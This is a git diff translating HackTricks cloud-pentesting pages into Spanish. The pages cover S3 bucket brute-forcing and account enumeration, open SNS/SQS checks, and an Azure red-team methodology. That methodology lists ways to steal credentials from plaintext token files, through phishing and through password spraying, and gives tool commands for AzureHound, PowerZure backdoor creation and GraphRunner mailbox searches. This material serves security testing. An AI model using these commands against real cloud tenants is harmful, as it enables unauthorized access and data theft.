Para verificar que es un cubo también puedes **visitar** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). -#### Brute-Force +#### Fuerza Bruta -You can find buckets by **brute-forcing name**s related to the company you are pentesting: +Puedes encontrar cubos **forzando nombres** relacionados con la empresa que estás pentesting: - [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) - [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contiene una lista con nombres de cubos potenciales) - [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) - [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) - [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) @@ -45,48 +45,47 @@ You can find buckets by **brute-forcing name**s related to the company you are p - [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) - [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) -
# Generate a wordlist to create permutations
+
# Generar una lista de palabras para crear permutaciones
 curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
 curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
 cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
 
-# Generate a wordlist based on the domains and subdomains to test
-## Write those domains and subdomains in subdomains.txt
+# Generar una lista de palabras basada en los dominios y subdominios a probar
+## Escribe esos dominios y subdominios en subdomains.txt
 cat subdomains.txt > /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
 
-# Create permutations based in a list with the domains and subdomains to attack
+# Crear permutaciones basadas en una lista con los dominios y subdominios a atacar
 goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## The previous tool is specialized increating permutations for subdomains, lets filter that list
-### Remove lines ending with "."
+## La herramienta anterior está especializada en crear permutaciones para subdominios, filtramos esa lista
+### Eliminar líneas que terminan con "."
 cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Create list without TLD
+### Crear lista sin TLD
 cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Create list without dots
+### Crear lista sin puntos
 cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Create list without hyphens
+### Crear lista sin guiones
 cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
 
-## Generate the final wordlist
+## Generar la lista de palabras final
 cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
 
-## Call s3scanner
+## Llamar a s3scanner
 s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
 
-#### Loot S3 Buckets +#### Saquear Cubos S3 -Given S3 open buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) can automatically **search for interesting information**. +Dado los cubos abiertos de S3, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) puede **buscar automáticamente información interesante**. -### Find the Region +### Encontrar la Región -You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) +Puedes encontrar todas las regiones soportadas por AWS en [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) -#### By DNS - -You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**: +#### Por DNS +Puedes obtener la región de un cubo con un **`dig`** y **`nslookup`** haciendo una **solicitud DNS de la IP descubierta**: ```bash dig flaws.cloud ;; ANSWER SECTION: @@ -96,31 +95,29 @@ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` +Verifique que el dominio resuelto tenga la palabra "website".\ +Puede acceder al sitio web estático yendo a: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +o puede acceder al bucket visitando: `flaws.cloud.s3-us-west-2.amazonaws.com` -Check that the resolved domain have the word "website".\ -You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com` +#### Intentando -#### By Trying - -If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**: +Si intenta acceder a un bucket, pero en el **nombre de dominio especifica otra región** (por ejemplo, el bucket está en `bucket.s3.amazonaws.com` pero intenta acceder a `bucket.s3-website-us-west-2.amazonaws.com`, entonces se le **indicará la ubicación correcta**: ![](<../../../images/image (106).png>) -### Enumerating the bucket +### Enumerando el bucket -To test the openness of the bucket a user can just enter the URL in their web browser. A private bucket will respond with "Access Denied". A public bucket will list the first 1,000 objects that have been stored. +Para probar la apertura del bucket, un usuario puede simplemente ingresar la URL en su navegador web. Un bucket privado responderá con "Access Denied". Un bucket público listará los primeros 1,000 objetos que han sido almacenados. -Open to everyone: +Abierto para todos: ![](<../../../images/image (201).png>) -Private: +Privado: ![](<../../../images/image (83).png>) -You can also check this with the cli: - +También puede verificar esto con el cli: ```bash #Use --no-sign-request for check Everyones permissions #Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions @@ -128,22 +125,18 @@ You can also check this with the cli: #Opcionally you can select the region if you now it aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] ``` +Si el bucket no tiene un nombre de dominio, al intentar enumerarlo, **solo pon el nombre del bucket** y no todo el dominio de AWSs3. Ejemplo: `s3://` -If the bucket doesn't have a domain name, when trying to enumerate it, **only put the bucket name** and not the whole AWSs3 domain. Example: `s3://` - -### Public URL template - +### Plantilla de URL pública ``` https://{user_provided}.s3.amazonaws.com ``` +### Obtener ID de cuenta de un Bucket público -### Get Account ID from public Bucket - -It's possible to determine an AWS account by taking advantage of the new **`S3:ResourceAccount`** **Policy Condition Key**. This condition **restricts access based on the S3 bucket** an account is in (other account-based policies restrict based on the account the requesting principal is in).\ -And because the policy can contain **wildcards** it's possible to find the account number **just one number at a time**. - -This tool automates the process: +Es posible determinar una cuenta de AWS aprovechando la nueva **`S3:ResourceAccount`** **Clave de Condición de Política**. Esta condición **restringe el acceso según el bucket S3** en el que se encuentra una cuenta (otras políticas basadas en cuentas restringen según la cuenta en la que se encuentra el principal solicitante).\ +Y debido a que la política puede contener **comodines**, es posible encontrar el número de cuenta **solo un número a la vez**. +Esta herramienta automatiza el proceso: ```bash # Installation pipx install s3-account-search @@ -153,13 +146,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext ``` +Esta técnica también funciona con URLs de API Gateway, URLs de Lambda, conjuntos de datos de Data Exchange e incluso para obtener el valor de etiquetas (si conoces la clave de la etiqueta). Puedes encontrar más información en la [**investigación original**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) y la herramienta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar esta explotación. -This technique also works with API Gateway URLs, Lambda URLs, Data Exchange data sets and even to get the value of tags (if you know the tag key). You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. - -### Confirming a bucket belongs to an AWS account - -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, if you have permissions to list a bucket** it’s possible to confirm an accountID the bucket belongs to by sending a request like: +### Confirmando que un bucket pertenece a una cuenta de AWS +Como se explica en [**esta publicación del blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, si tienes permisos para listar un bucket** es posible confirmar un accountID al que pertenece el bucket enviando una solicitud como: ```bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]" @@ -167,41 +158,34 @@ curl -X GET "[bucketname].amazonaws.com/" \ ... ``` +Si el error es un “Access Denied” significa que el ID de la cuenta era incorrecto. -If the error is an “Access Denied” it means that the account ID was wrong. - -### Used Emails as root account enumeration - -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **trying to grant an email permissions** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account: +### Uso de correos electrónicos como enumeración de cuentas raíz +Como se explicó en [**esta publicación del blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), es posible verificar si una dirección de correo electrónico está relacionada con alguna cuenta de AWS al **intentar otorgar permisos a un correo electrónico** sobre un bucket S3 a través de ACLs. Si esto no genera un error, significa que el correo electrónico es un usuario raíz de alguna cuenta de AWS: ```python s3_client.put_bucket_acl( - Bucket=bucket_name, - AccessControlPolicy={ - 'Grants': [ - { - 'Grantee': { - 'EmailAddress': 'some@emailtotest.com', - 'Type': 'AmazonCustomerByEmail', - }, - 'Permission': 'READ' - }, - ], - 'Owner': { - 'DisplayName': 'Whatever', - 'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' - } - } +Bucket=bucket_name, +AccessControlPolicy={ +'Grants': [ +{ +'Grantee': { +'EmailAddress': 'some@emailtotest.com', +'Type': 'AmazonCustomerByEmail', +}, +'Permission': 'READ' +}, +], +'Owner': { +'DisplayName': 'Whatever', +'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' +} +} ) ``` - -## References +## Referencias - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md index 7978eff36..d38326cc5 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md @@ -4,22 +4,18 @@ ## SNS -For more information about SNS check: +Para más información sobre SNS consulta: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} -### Open to All +### Abierto a Todos -When you configure a SNS topic from the web console it's possible to indicate that **Everyone can publish and subscribe** to the topic: +Cuando configuras un tema de SNS desde la consola web, es posible indicar que **Todos pueden publicar y suscribirse** al tema:
-So if you **find the ARN of topics** inside the account (or brute forcing potential names for topics) you can **check** if you can **publish** or **subscribe** to **them**. +Así que si **encuentras el ARN de los temas** dentro de la cuenta (o forzando nombres potenciales para temas) puedes **verificar** si puedes **publicar** o **suscribirte** a **ellos**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index a5006a63b..fb5644f52 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -4,24 +4,18 @@ ## SQS -For more information about SQS check: +Para más información sobre SQS, consulta: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Public URL template - +### Plantilla de URL pública ``` https://sqs.[region].amazonaws.com/[account-id]/{user_provided} ``` +### Comprobar Permisos -### Check Permissions - -It's possible to misconfigure a SQS queue policy and grant permissions to everyone in AWS to send and receive messages, so if you get the ARN of queues try if you can access them. +Es posible que se configure incorrectamente una política de cola SQS y se otorguen permisos a todos en AWS para enviar y recibir mensajes, así que si obtienes el ARN de las colas, intenta ver si puedes acceder a ellas. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 9d2de65fc..19d9a65bb 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -2,86 +2,85 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica {{#ref}} az-basic-information/ {{#endref}} -## Azure Pentester/Red Team Methodology +## Metodología de Pentesting/Red Team de Azure -In order to audit an AZURE environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal Azure services and **external services** connected. +Para auditar un entorno de AZURE, es muy importante saber: qué **servicios se están utilizando**, qué está **siendo expuesto**, quién tiene **acceso** a qué, y cómo están conectados los servicios internos de Azure y los **servicios externos**. -From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **credentials** for Azure AD. Here you have some ideas on how to do that: +Desde el punto de vista de un Red Team, el **primer paso para comprometer un entorno de Azure** es conseguir obtener algunas **credenciales** para Azure AD. Aquí tienes algunas ideas sobre cómo hacerlo: -- **Leaks** in github (or similar) - OSINT -- **Social** Engineering -- **Password** reuse (password leaks) -- Vulnerabilities in Azure-Hosted Applications - - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint - - **Local File Read** - - `/home/USERNAME/.azure` - - `C:\Users\USERNAME\.azure` - - The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text** - - The file **`azureProfile.json`** contains **info** about logged user. - - **`az logout`** removes the token. - - Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\ - Use `Disconnect-AzAccount` to remove them. -- 3rd parties **breached** -- **Internal** Employee -- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App) - - [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) -- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) +- **Filtraciones** en github (o similar) - OSINT +- **Ingeniería** Social +- Reutilización de **contraseñas** (filtraciones de contraseñas) +- Vulnerabilidades en Aplicaciones Alojadas en Azure +- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) con acceso al endpoint de metadatos +- **Lectura de Archivos Locales** +- `/home/USERNAME/.azure` +- `C:\Users\USERNAME\.azure` +- El archivo **`accessTokens.json`** en `az cli` antes de 2.30 - Jan2022 - almacenaba **tokens de acceso en texto claro** +- El archivo **`azureProfile.json`** contiene **info** sobre el usuario conectado. +- **`az logout`** elimina el token. +- Versiones anteriores de **`Az PowerShell`** almacenaban **tokens de acceso** en **texto claro** en **`TokenCache.dat`**. También almacena **ServicePrincipalSecret** en **texto claro** en **`AzureRmContext.json`**. El cmdlet **`Save-AzContext`** se puede usar para **almacenar** **tokens**.\ +Usa `Disconnect-AzAccount` para eliminarlos. +- Terceros **comprometidos** +- **Empleado** Interno +- [**Phishing Común**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credenciales o aplicación Oauth) +- [Phishing de Autenticación con Código de Dispositivo](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) +- [**Password Spraying** de Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -Even if you **haven't compromised any user** inside the Azure tenant you are attacking, you can **gather some information** from it: +Incluso si no has **comprometido a ningún usuario** dentro del inquilino de Azure que estás atacando, puedes **recolectar algo de información** de él: {{#ref}} az-unauthenticated-enum-and-initial-entry/ {{#endref}} > [!NOTE] -> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: +> Después de haber conseguido obtener credenciales, necesitas saber **a quién pertenecen esas credenciales**, y **a qué tienen acceso**, por lo que necesitas realizar alguna enumeración básica: -## Basic Enumeration +## Enumeración Básica > [!NOTE] -> Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself. +> Recuerda que la parte **más ruidosa** de la enumeración es el **inicio de sesión**, no la enumeración en sí. ### SSRF -If you found a SSRF in a machine inside Azure check this page for tricks: +Si encontraste un SSRF en una máquina dentro de Azure, consulta esta página para trucos: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### Bypass Login Conditions +### Bypass de Condiciones de Inicio de Sesión
-In cases where you have some valid credentials but you cannot login, these are some common protections that could be in place: +En casos donde tienes algunas credenciales válidas pero no puedes iniciar sesión, estas son algunas protecciones comunes que podrían estar en su lugar: -- **IP whitelisting** -- You need to compromise a valid IP -- **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least) -- **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses. -- You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed +- **Lista blanca de IP** -- Necesitas comprometer una IP válida +- **Restricciones geográficas** -- Encuentra dónde vive el usuario o dónde están las oficinas de la empresa y obtén una IP de la misma ciudad (o país al menos) +- **Navegador** -- Tal vez solo se permite un navegador de cierto SO (Windows, Linux, Mac, Android, iOS). Descubre qué SO usa la víctima/empresa. +- También puedes intentar **comprometer las credenciales del Service Principal** ya que suelen ser menos limitadas y su inicio de sesión es menos revisado -After bypassing it, you might be able to get back to your initial setup and you will still have access. +Después de eludirlo, podrías ser capaz de volver a tu configuración inicial y aún tendrás acceso. -### Subdomain Takeover +### Toma de Subdominio - [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/) ### Whoami > [!CAUTION] -> Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.md) section. +> Aprende **cómo instalar** az cli, AzureAD y Az PowerShell en la sección [**Az - Entra ID**](az-services/az-azuread.md). -One of the first things you need to know is **who you are** (in which environment you are): +Una de las primeras cosas que necesitas saber es **quién eres** (en qué entorno estás): {{#tabs }} {{#tab name="az cli" }} - ```bash az account list az account tenant list # Current tenant info @@ -90,22 +89,18 @@ az ad signed-in-user show # Current signed-in user az ad signed-in-user list-owned-objects # Get owned objects by current user az account management-group list #Not allowed by default ``` - {{#endtab }} {{#tab name="AzureAD" }} - ```powershell #Get the current session state Get-AzureADCurrentSessionInfo #Get details of the current tenant Get-AzureADTenantDetail ``` - {{#endtab }} {{#tab name="Az PowerShell" }} - ```powershell # Get the information about the current context (Account, Tenant, Subscription etc.) Get-AzContext @@ -121,53 +116,49 @@ Get-AzResource Get-AzRoleAssignment # For all users Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user ``` - {{#endtab }} {{#endtabs }} > [!CAUTION] -> Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**. +> Uno de los comandos más importantes para enumerar Azure es **`Get-AzResource`** de Az PowerShell, ya que te permite **conocer los recursos a los que tu usuario actual tiene visibilidad**. > -> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources" +> Puedes obtener la misma información en la **consola web** yendo a [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) o buscando "Todos los recursos" -### ENtra ID Enumeration +### Enumeración de ENtra ID -By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/#default-user-permissions)).\ -You can find here a guide: +Por defecto, cualquier usuario debería tener **suficientes permisos para enumerar** cosas como, usuarios, grupos, roles, principales de servicio... (ver [permisos predeterminados de AzureAD](az-basic-information/#default-user-permissions)).\ +Aquí puedes encontrar una guía: {{#ref}} az-services/az-azuread.md {{#endref}} > [!NOTE] -> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\ -> In the following section you can check some ways to **enumerate some common services.** +> Ahora que **tienes algo de información sobre tus credenciales** (y si eres un equipo rojo, espero que **no hayas sido detectado**). Es hora de averiguar qué servicios se están utilizando en el entorno.\ +> En la siguiente sección puedes revisar algunas formas de **enumerar algunos servicios comunes.** ## App Service SCM -Kudu console to log in to the App Service 'container'. +Consola Kudu para iniciar sesión en el 'contenedor' del App Service. ## Webshell -Use portal.azure.com and select the shell, or use shell.azure.com, for a bash or powershell. The 'disk' of this shell are stored as an image file in a storage-account. +Usa portal.azure.com y selecciona la shell, o usa shell.azure.com, para un bash o powershell. El 'disco' de esta shell se almacena como un archivo de imagen en una cuenta de almacenamiento. ## Azure DevOps -Azure DevOps is separate from Azure. It has repositories, pipelines (yaml or release), boards, wiki, and more. Variable Groups are used to store variable values and secrets. +Azure DevOps es independiente de Azure. Tiene repositorios, pipelines (yaml o release), tableros, wiki, y más. Los Grupos de Variables se utilizan para almacenar valores de variables y secretos. ## Debug | MitM az cli -Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending: - +Usando el parámetro **`--debug`** es posible ver todas las solicitudes que la herramienta **`az`** está enviando: ```bash az account management-group list --output table --debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do: +Para realizar un **MitM** a la herramienta y **verificar todas las solicitudes** que está enviando manualmente, puedes hacer: {{#tabs }} {{#tab name="Bash" }} - ```bash export ADAL_PYTHON_SSL_NO_VERIFY=1 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 @@ -180,25 +171,21 @@ export HTTP_PROXY="http://127.0.0.1:8080" openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem ``` - {{#endtab }} {{#tab name="PS" }} - ```bash $env:ADAL_PYTHON_SSL_NO_VERIFY=1 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 $env:HTTPS_PROXY="http://127.0.0.1:8080" $env:HTTP_PROXY="http://127.0.0.1:8080" ``` - {{#endtab }} {{#endtabs }} -## Automated Recon Tools +## Herramientas de Reconocimiento Automatizado ### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) - ```powershell cd ROADTools pipenv shell @@ -206,9 +193,7 @@ roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" roadrecon gather roadrecon gui ``` - ### [Monkey365](https://github.com/silverhack/monkey365) - ```powershell Import-Module monkey365 Get-Help Invoke-Monkey365 @@ -216,9 +201,7 @@ Get-Help Invoke-Monkey365 -Detailed Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML ``` - ### [**Stormspotter**](https://github.com/Azure/Stormspotter) - ```powershell # Start Backend cd stormspotter\backend\ @@ -236,9 +219,7 @@ az login -u test@corp.onmicrosoft.com -p Welcome2022! python stormspotter\stormcollector\sscollector.pyz cli # This will generate a .zip file to upload in the frontend (127.0.0.1:9091) ``` - ### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) - ```powershell # You need to use the Az PowerShell and Azure AD modules: $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -294,9 +275,7 @@ MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContribu ## All Azure AD Groups that are synchronized with On-Premise AD MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n ``` - ### [Azucar](https://github.com/nccgroup/azucar) - ```bash # You should use an account with at least read-permission on the assets you want to access git clone https://github.com/nccgroup/azucar.git @@ -309,17 +288,13 @@ PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials # resolve the TenantID for an specific username PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com ``` - ### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) - ``` Import-Module .\MicroBurst.psm1 Import-Module .\Get-AzureDomainInfo.ps1 Get-AzureDomainInfo -folder MicroBurst -Verbose ``` - ### [**PowerZure**](https://github.com/hausec/PowerZure) - ```powershell Connect-AzAccount ipmo C:\Path\To\Powerzure.psd1 @@ -340,9 +315,7 @@ $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest # Administrator $ Create-Backdoor, Execute-Backdoor ``` - ### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) - ```powershell #Get-GraphTokens @@ -398,9 +371,4 @@ Get-TenantID -Domain #Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. Invoke-GraphRunner -Tokens $tokens ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index a600b66dc..b4186d482 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -1,376 +1,372 @@ -# Az - Basic Information +# Az - Información Básica {{#include ../../../banners/hacktricks-training.md}} -## Organization Hierarchy +## Jerarquía de Organización

https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png

-### Management Groups +### Grupos de Gestión -- It can contain **other management groups or subscriptions**. -- This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group. -- **10,000 management** groups can be supported in a single directory. -- A management group tree can support **up to six levels of depth**. This limit doesn’t include the root level or the subscription level. -- Each management group and subscription can support **only one parent**. -- Even if several management groups can be created **there is only 1 root management group**. - - The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**. -- All subscriptions within a single management group must trust the **same Entra ID tenant.** +- Puede contener **otros grupos de gestión o suscripciones**. +- Esto permite **aplicar controles de gobernanza** como RBAC y Azure Policy una vez a nivel de grupo de gestión y que sean **heredados** por todas las suscripciones en el grupo. +- Se pueden soportar **10,000 grupos de gestión** en un solo directorio. +- Un árbol de grupos de gestión puede soportar **hasta seis niveles de profundidad**. Este límite no incluye el nivel raíz o el nivel de suscripción. +- Cada grupo de gestión y suscripción puede soportar **solo un padre**. +- Aunque se pueden crear varios grupos de gestión, **solo hay 1 grupo de gestión raíz**. +- El grupo de gestión raíz **contiene** todos los **otros grupos de gestión y suscripciones** y **no puede ser movido o eliminado**. +- Todas las suscripciones dentro de un solo grupo de gestión deben confiar en el **mismo inquilino de Entra ID.**

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

-### Azure Subscriptions +### Suscripciones de Azure -- It’s another **logical container where resources** (VMs, DBs…) can be run and will be billed. -- Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions. -- It **trust only one Entra ID** directory -- **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription +- Es otro **contenedor lógico donde se pueden ejecutar recursos** (VMs, DBs…) y se facturará. +- Su **padre** es siempre un **grupo de gestión** (y puede ser el grupo de gestión raíz) ya que las suscripciones no pueden contener otras suscripciones. +- **Confía en un solo directorio de Entra ID** +- **Los permisos** aplicados a nivel de suscripción (o cualquiera de sus padres) son **heredados** a todos los recursos dentro de la suscripción. -### Resource Groups +### Grupos de Recursos -[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) A resource group is a **container** that holds **related resources** for an Azure solution. The resource group can include all the resources for the solution, or only those **resources that you want to manage as a group**. Generally, add **resources** that share the **same lifecycle** to the same resource group so you can easily deploy, update, and delete them as a group. +[De la documentación:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Un grupo de recursos es un **contenedor** que alberga **recursos relacionados** para una solución de Azure. El grupo de recursos puede incluir todos los recursos para la solución, o solo aquellos **recursos que deseas gestionar como un grupo**. Generalmente, agrega **recursos** que comparten el **mismo ciclo de vida** al mismo grupo de recursos para que puedas desplegarlos, actualizarlos y eliminarlos fácilmente como un grupo. -All the **resources** must be **inside a resource group** and can belong only to a group and if a resource group is deleted, all the resources inside it are also deleted. +Todos los **recursos** deben estar **dentro de un grupo de recursos** y solo pueden pertenecer a un grupo, y si se elimina un grupo de 